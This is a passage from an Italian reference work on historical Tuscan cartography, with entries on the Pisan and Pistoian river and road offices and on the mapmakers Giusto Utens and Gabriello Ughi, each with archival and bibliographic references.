Con l’avvento della dinastia Lorenese (1737), si verifica però una radicale inversione di tendenza, grazie all’inaugurazione di una politica finalizzata, fra le altre cose, al recupero produttivo delle campagne ed al risanamento delle aree paludose. Per dare avvio agli interventi necessari vengono nominate delle vere e proprie “commissioni d’inchiesta”, incaricate di ispezionare le varie località e di redigere relazioni e progetti d’intervento. Queste rilevazioni a tappeto mettono in evidenza lo stato di generale degrado del territorio pisano, oltre che la disastrosa situazione economica dell’Ufficio stesso.
Per cercare di porre rimedio a tutto questo, nel 1775 Leopoldo I attua una nuova radicale riforma dell’ente, finalizzata alla drastica riduzione delle spese e del suo ambito di competenze. La manutenzione dei corsi d’acqua, argini e strade passa infatti alle varie comunità, mentre all’Ufficio rimane solo la competenza su fonti, acquedotti e sui fiumi Arno, Serchio, Morto e Fosso Reale.
Successivamente, anche grazie ai progressi della scienza idraulica, viene dato nuovo impulso ai lavori di bonifica, attuati sotto la supervisione di tecnici come Leonardo Ximenes, Stefano Piazzini, Ferdinando Sanminiatelli e Pietro Ferroni.
Nel 1808, con l’annessione all’impero napoleonico, l’ente viene soppresso e le sue competenze demandate alla nuova istituzione dipartimentale, per essere ripristinato nel 1814, in seguito alla restaurazione lorenese, con il nome di Amministrazione dei Fiumi, Fossi e Canali. Contestualmente alla ripresa della sua attività, per volontà di Ferdinando III, viene attuata l’ennesima riforma, in seguito alla quale rimangono di competenza dell’Ufficio solo la manutenzione e la sorveglianza di Arno e Serchio. Infine, nel 1825, in seguito alla compilazione del catasto particellare, Leopoldo II decide nuovamente di riorganizzarne il funzionamento, sostituendolo con il Corpo degli Ingegneri d’acque e strade e con la Camera di Soprintendenza Comunitativa del Dipartimento Pisano, a cui sono affidati la cura ed il controllo di Arno, Serchio, Canale Imperiale, dei Navicelli e di Ripafratta, oltre che la maggior parte dei lavori pubblici. Successivamente a quella di Leopoldo II, l’ultima grande riforma dell’ente è quella attuata dopo l’Unità d’Italia e la legge n. 2248 sulle opere pubbliche, successivamente alla quale molti degli affari trattati dall’Ufficio dei Fiumi e Fossi diventano esclusiva priorità del nuovo Stato Unitario.

Produzione cartografica

Quel che resta del patrimonio cartografico prodotto nei secoli dall’Ufficio dei Fiumi e Fossi è conservato presso l’Archivio di Stato di Pisa, in parte allegato (e non ancora catalogato) alla documentazione descrittiva dello specifico fondo dei Fiumi e Fossi (3773 filze), in parte contenuto nel fondo Piante dell’Ufficio Fiumi e Fossi, che raccoglie 232 carte manoscritte di vario tipo. Questa raccolta è costituita prevalentemente da documenti redatti fra i secoli XVIII e XIX, arco temporale che include le reggenze lorenese e francese, i periodi di più feconda attività dell’Ufficio stesso. Fra le piante contenute in questo fondo, infatti, solo una è databile fra Cinque e Seicento, un paio sono seicentesche, circa 150 risalgono alla seconda metà del Settecento, mentre un’ottantina ai primi decenni dell’Ottocento.
Anche se buona parte del materiale più antico è allegato al fondo descrittivo oppure disperso, è innegabile che la produzione geocartografica di questo ente sia direttamente proporzionale alla politica d’interventi sul territorio portata avanti, nei secoli, dai vari governi succedutisi. E’ la stessa composizione tematica dei documenti a gettare una luce chiarificatrice sui motivi della loro committenza e finalità. Per quanto riguarda il fondo delle Piante, seguendo la schedatura che ne è stata fatta, le carte possono essere distinte per temi:
a) raffigurazioni di strade, quartieri ed edifici della città di Pisa (15 carte);
b) acquedotti (5 carte);
c) tratti extraurbani del corso dell’Arno (15 carte);
d) corso del Serchio (10 carte);
e) lago di Bientina ed il suo bacino palustre (30 carte);
f) appezzamenti di terreno della campagna pisana (140 carte);
g) piante urbane di Livorno, Porto Longone, Rosignano, Pietrasanta e Pontedera (5 carte);
h) località poste al di fuori della giurisdizione pisana (10 carte).

Operatori

Fra i nomi dei numerosissimi operatori che svolsero attività per conto di questa istituzione, ricordiamo, a titolo esemplificativo, solo alcuni attivi in periodo lorenese, come Giuseppe Maria Forasassi, attivo alla metà del Settecento, a cui si deve la Pianta de’ Monti della Comunità di Avane situati nel Val di Serchio del 1861 (ASP, Piante dell’Ufficio Fiumi e Fossi, n. 153); Francesco e Roberto Bombicci, padre e figlio che redassero alcune mappe relative al corso dell’Arno a Barbaricina (Id., nn. 42, 47-49, 51) e alla rete stradale, come la Pianta della strada che da Pisa conduce a Lucca (Id., n. 31)o la Pianta…della strada piombinese (Id., n. 32); Ridolfo Castinelli è autore del Progetto di prolungamento del Lungarno della Città di Pisa del 1852 con il rilievo dell’area urbana pisana compresa fra il Ponte della Fortezza e il nuovo di cui prevede la costruzione (Id., n. 2). Da ricordare inoltre un’intera famiglia di ingegneri che, in un arco temporale che va dalla metà del Settecento ai primi decenni dell’Ottocento, lavora alle dipendenze dell’ente, composta da Giovan Michele, Stefano e Ferdinanzo Piazzini, ai quali si devono molte carte conservate nel fondo. Fra di esse, di speciale interesse sono quelle redatte da Stefano che riguardano la tenuta granducale di S. Rossore (Id., nn. 158, 169) e il castello di Rosignano del 1799 (Id., n. 22). Non bisogna dimenticare che compaiono come autori numerosi altri tecnici, spesso non meno significativi, molti dei quali lavorarono saltuariamente per conto dell’ Ufficio come collaboratori esterni.

Riferimenti bibliografici e archivistici

Barsanti, 1985; Barsanti, 1987; Barsanti, Previti e Sbrilli, 1989; Caciagli e Castiglia, 2001; Cantini, 1800-1808; Casini, 1953; Cresti e Zangheri, 1978; Fasano Guarini, 1976; Fiaschi, 1936; Giglia, 1997; Greppi, a cura di, 1993; Guarducci e Rombai, 1999; Karwacka Codini e Sbrilli, 1987; Livorno e Pisa: due città e un territorio nella politica dei Medici; 1980; Luzzati, 1976; Maccari, 2003; Mazzanti, 1982 Mazzanti e Sbrilli, 1991; Nanni, Pierulivo e Regoli, 1996; Perelli, 1774; Pietro Leopoldo d’Asburgo Lorena, 1969, I; Sbrilli Fabbrini, 1986, III; Vallerini, a cura di, 1976; ASP, Ufficio dei Fiumi e Fossi di Pisa: Brevi notizie circa le sue origini, le sue vicende, la sua opera, 1906; Ufficio dei Fiumi e Fossi di Pisa: Statuto, 1897; Ufficio dei Fiumi e Fossi. Pisa, cenni sul suo ordinamento e sulla sua attività, 1952; ASP, Fiumi e Fossi (3773 filze); ASP, Piante dell’Ufficio Fiumi e Fossi.

Cecilia Massa (Siena)

Ufficiali dei fiumi e strade di Pistoia (1561-1776) (Granducato di Toscana)

Fino alla metà del XVI secolo non esisteva a Pistoia un ufficio o una magistratura che si occupasse della conservazione e del mantenimento delle strade e dei fiumi. Nel 1561 in seguito ad una supplica al granduca presentata dalla città nel 1555 per richiedere l’invio di un ingegnere che valutasse i danni prodotti dai fiumi nel territorio pistoiese si stabilì che «si facessero apposite borse dalle quali dovevano essere estratti ogni anno quattro cittadini [che dovevano sovrintendere] alla realizzazione e alla manutenzione delle opere pubbliche, acque, strade, fiumi e ponti non solo della città ma anche del contado e distretto di Pistoia con poteri giurisdizionali sulle controversie che ne potevano derivare».
Gli «Ufficiali dei fiumi e strade», vengono progressivamente coadiuvati da un provveditore, da un ragioniere e da un camarlingo; nel secolo XVIII è prevista dagli statuti anche la presenza di un ingegnere, che negli ultimi anni di attività della magistratura sembra essere Romualdo Cilli (1711-68). Alle loro riunioni intervenivano di diritto il gonfaloniere, la principale carica cittadina, e il commissario, il giusdicente e rappresentante del governo centrale inviato dalla ‘dominante’ Firenze.
La magistratura fu soppressa nel 1776 nel quadro delle riforme del governo locale attuate da Pietro Leopoldo, le sue competenze passarono in un primo momento all’Opera di San Jacopo e poi, dopo la sua soppressione nel 1777, furono riassorbite in quelle più ampie assegnate alle nuove comunità previste dai regolamenti emanati dal governo forense.

Produzione cartografica

Il vasto materiale documentario relativo agli Ufficiali dei Fiumi fa parte dell’Archivio del Comune di Pistoia conservato presso l’ASPt (cfr. Altieri Magliozzi, 1985, pp. 155-199). Si segnalano i «Capitoli sopra l’Ufitio dei fiumi e strade di Pistoia» del 1582, la serie delle deliberazioni dal 1565 al 1776 con alcune interruzioni nei secoli XVI e XVII, le filze di atti dal 1580 al 1776, quelle delle cosiddette ‘date’ o portate di beni rese dai vicari del contado e del distretto pistoiese.
Diverse mappe manoscritte sono conservate all’interno delle filze, mentre altri schizzi, mappe e piante riferibili all’attività degli ufficiali dei fiumi e strade sono conservate nei cartoni 48, 49 e 49 bis della serie Congregazione sopra l’Ombrone, relativa all’Archivio del Comune di Pistoia conservato in ASPt. Allo stato attuale delle conoscenza non è possibile fornire informazioni più dettagliate sugli autori del materiale cartografico.

Operatori

Romualdo Cilli, ingegnere (1711-68).

Riferimenti bibliografici e archivistici

Altieri Magliozzi, 1985; Rauty, 1979; Romby, 1983; Romby, 1988; Vivoli, 1997; Vivoli, 1998.
Archivio del Comune di Pistoia in ASPt, Ufficiali dei Fiumi.

Carlo Vivoli (Siena)

Utens, Giusto

Justus Utens
N.
M. Carrara 19 luglio 1609

Relazioni di parentela: Figlio del pittore Pietro Giovanni da Bruxelles.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Utens deve la sua fama alla realizzazione di dipinti che illustrano le residenze del patrimonio mediceo al tempo del granduca Ferdinando I.
Note come “lunette”, poiché occupavano lo spazio compreso nelle lunette del salone della villa medicea di Artimino, esse furono dipinte tra l’ultimo decennio del Cinquecento e i primi anni del Seicento. Le rappresentazioni vedutistiche, per la loro precisione dei dettagli, rivelano che il pittore ritrasse le ville in seguito a sopralluoghi diretti sul territorio. Dunque Utens compì campagne di rilievo delle ville granducali in cui probabilmente misurò le fabbriche e gli spazi verdi e agricoli circostanti per ritrarre le residenze signorili nel modo più realistico possibile (ASF, Mediceo del Principato, filza 1269, 4 marzo 1598-30 ottobre 1600, p. 2327); tutto lascia credere che egli abbia portato a compimento i dipinti nel 1602.
L’indagine archivistica dell’ultimo quarto del XX secolo ha confermato l’attività di Utens non solo di pittore vedutista ma anche e soprattutto di una sorta di topografo incaricato precipuamente di realizzare una raccolta di immagini per documentare il patrimonio immobiliare della Corona.
Del gruppo delle 17 lunette testimoniate negli inventari medicei, solo quattordici sono a noi pervenute (in parte oggi conservate al fiorentino Museo Topografico “Firenze com’era”) e costituiscono un imponente e prezioso ‘terrilogio’ dipinto a tempera su tela che illustra il patrimonio mediceo delle residenze extraurbane e/o periurbane.
Un significativo documento che dà conto dell’attività di Utens è costituito dal Libro di conti de “la fabbrica della Villa d’Artimino” (ASF, Scrittoio delle Regie Possessioni, B, Artimino, Entrata e uscita di azienda per la fabbrica, 1598-1606, n. 4437, cc. 70r e 92r), nel contenuto del quale si ha notizia di due note di pagamento “per i suoi dipinti …per la sala grande di Artimino nelle lunette (4 settembre e 23 ottobre 1599: Smith, 1961).
La critica storiografica ha riconosciuto giustamente all’Utens il carattere di estrema fedeltà nella rappresentazione delle ville e del territorio circostante nei suoi dettagli, sia esso costituito da giardini formalizzati oppure da appezzamenti agricoli organizzati secondo i tipi di coltivazione, tanto da considerare le lunette quali veri e propri documenti per la storia agraria e paesaggistica nonché per le vicende architettoniche delle residenze granducali.
Nel 1601 Utens realizzò anche la rappresentazione di Villa Medici a Roma, cioè “il palazzo e il giardino di Roma”.
Come già enunciato, si hanno precise attestazioni che Utens completò le sue raffigurazioni nel 1602 e ricevette il saldo ai suoi lavori dalla Guardaroba, per mano di Vincenzio Giugni nell’aprile del 1603 (ASF, Guardaroba Medicea, f. 236, ins. 5, c. 463 – 30 aprile 1603).

Il nome di Utens è stato di recente accostato al corpo di immagini vedutistiche dei numerosi comunelli del Ducato Cybo Malaspina di Massa e Carrara, disegnati a penna semplice con sapienza artistica e con tratto da un anonimo ritrattista di paesaggio dei primi tre o quattro decenni del XVII secolo (sono nell’ASMa, I serie Biblioteca, n. 4931).
Per la verità quest’ultima raccolta manoscritta non si limita ai 27 “comunelli” del Ducato di Massa e Carrara, ma si allarga ad altre 28 località feudali dei Ducati di Aiello in Calabria e di Ferentillo in Umbria, sempre pertinenti ai poteri giurisdizionali dei Cybo Malaspina, e rappresenta, con tutta evidenza, un esempio paradigmatico di produzione culturale promozionale al servizio del potere e della sua stessa rappresentazione (Jervis, 1994, pp. 46, 58-59, 61-62, 65-66 e 69).
Il fatto che lo stile dei disegni appaia “informato ai canoni del vedutismo nordico, in particolare per ciò che concerne la collocazione elevata dell’orizzonte rispetto alla linea del punto di vista e la presenza dei tetti degli edifici fortemente appuntiti”, oltre che per “la singolare attenzione prestata alla rappresentazione del dato naturalistico, particolarmente evidente nella resa del fogliame, e della vegetazione in genere”; e il fatto che i disegni richiamino molto da vicino quelli del pittore di paesaggio fiammingo Giusto Utens, stile immortalato nelle 14 lunette relative alle altrettante ville medicee, ha fatto pensare al di lui figlio Domenico Utens (nato nel 1589 e morto nel 1657), e anch’egli assai attivo come pittore e tecnico del territorio, al servizio dei Cybo Malaspina e delle comunità del Ducato, a partire almeno dal 1630 (Passeggia e Prampolini, 1995, pp. 307 e 322-332; e Mignani, 1993).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Campori, 1873, p. 369; Smith, 1961; Fossi, 1976, pp. 471 e 477-478; Barocchi e Gaeta Bertelà, a cura di, 2002, pp. 138 e 596; Pult Quaglia, 1980, pp. 85-86; Mignani, 1988; Zangheri, 1999 e 2000; Passeggia e Prampolini, 1995, pp. 307 e 322-332; Jervis, 1994, pp. 46, 58-59, 61-62, 65-66 e 69; ASF, Mediceo del Principato, n. 1269 (4 marzo 1598-30 ottobre 1600), c. 2327; ASF, Accademia del Disegno, f. 28 (1.9.1595-12.7.1609), c. 51r: “Ricordo come questo dì 2 di dicembre 96 sono entrati noviti di nostra Accademia: a’ pagare la matricola conforme alli nostri statuti [segue elenco]; c. 51 v: “Seguono li noviti entrati a matricola di nostra Accademia 52 – Giusto di Autems fiamingo [dal 26 al 55] Pisa; ASF, Scrittoio delle Regie Possessioni, B, Artimino, Entrata e uscita di azienda per la fabbrica, 1598-1606, n. 4437, c. 70r e 92r [Le entrate sono datate 4 settembre e 23 ottobre 1599]; ASF, Guardaroba Medicea, f. 236, ins. 5, c. 463 – 30 aprile 1603, e f. 332, ins. 10, c. 925 – 15 maggio 1615, e f. 40, c. 6 ss. del primo ottobre 1601; Brown S., Catalogo dell’arredamento esistente nella Villa Medicea “La Ferdinanda” di Artimino, 4-8 ottobre 1969, n. 44; ASMa, I serie Biblioteca, n. 4931.

Rimandi ad altre schede:

Autore della scheda: Giancarlo Macchi

Ughi, Gabriello

Gabriello Ughi
N. 1570
M. 1623

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Definito «ingeniere da Livorno», fu architetto militare e ingegnere dell’Ufficio dei Fossi di Pisa; operò anche per la magistratura dei Confini. Fu in stretta corrispondenza con don Giovanni de’ Medici, suo protettore; gli sono riconosciute grandi doti artistiche e topografiche. Non si conosce con esattezza la sua data di nascita, attribuita intorno al 1570; muore nel 1623.
La sua attività professionale risulta documentata tra il 1621 e il 1622.

Produzione scientifica:
Nel 1622 elabora il progetto per il palazzo Baroncelli, attuale Villa del Poggio Imperiale, fuori dalla porta di S. Pier Gattolini in Firenze; il 29 giugno dello stesso anno viene incaricato da Lorenzo Usimbardi, segretario per gli affari di Guerra, di redigere insieme a Domenico Amerighi una relazione sull’opportunità di costruire un lazzaretto nell’isola della Gorgona; disegna la prospettiva del controverso territorio Apuano e Versiliese conteso tra Firenze, Lucca e Massa. Nel 1623 fa parte della commissione incaricata di valutare l’efficacia dei ripari sull’Arno realizzati dall’Ingegnere dei Fiumi Alessandro Bartolotti.

Produzione di cartografia manoscritta:
Il territorio di Montignoso con il lago di Porta fra il territorio di Massa e la Versilia, 1622 (ASF, Piante antiche dei Confini, n. 62);
Disegno prospettico del terrtorio di Montignoso, 21 febbraio 1621 (ASF, Piante antiche dei Confini, n. 62);
Pianta dei luoghi coltivati dai lucchesi nella Badia a Pozzevoli contro la convenzione, con la strada romana, il fosso dell’Altopascio e il lago di Bientina, 1623 (ASF, Piante antiche dei Confini, cartone 97).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Errico e Montanelli, 2000; Fara, Conforti e Zangheri, 1978; Gallo, 1993; Rombai, 1993; Rombai, 2003; Salvagnini, 1983; Tesi, a cura di, 1981; Vivoli, 2003; Thieme e Becker, vol. XXXIII, 1939; Baldinucci, 1975, vol. IV, p. 405; ASF, Piante antiche dei Confini.

Rimandi ad altre schede:

Autore della scheda: Rosamaria Martellacci